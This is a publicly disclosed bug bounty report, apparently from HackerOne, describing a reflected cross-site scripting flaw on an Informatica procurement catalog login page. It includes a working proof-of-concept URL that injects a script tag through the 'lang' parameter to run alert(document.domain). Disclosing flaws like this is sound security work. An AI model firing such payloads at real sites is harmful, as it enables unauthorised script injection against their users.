HexBrain

Informatica · Report #831803

RXSS in http://procurement-businesscatalog.informatica.com

Validstatus
13upvotes
27 Mar 2020disclosed

How it was found

Hi, this is a simple XSS in the host below:

Reproduction Steps Visit the following URL: http://procurement-businesscatalog.informatica.com/JPBC/login.hbc?lang=%3C/SCRIPT%3E%3CSCRIPT%3Ealert(document.domain);%3C/SCRIPT%3E

{F760997}

Impact

Standard XSS impact.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original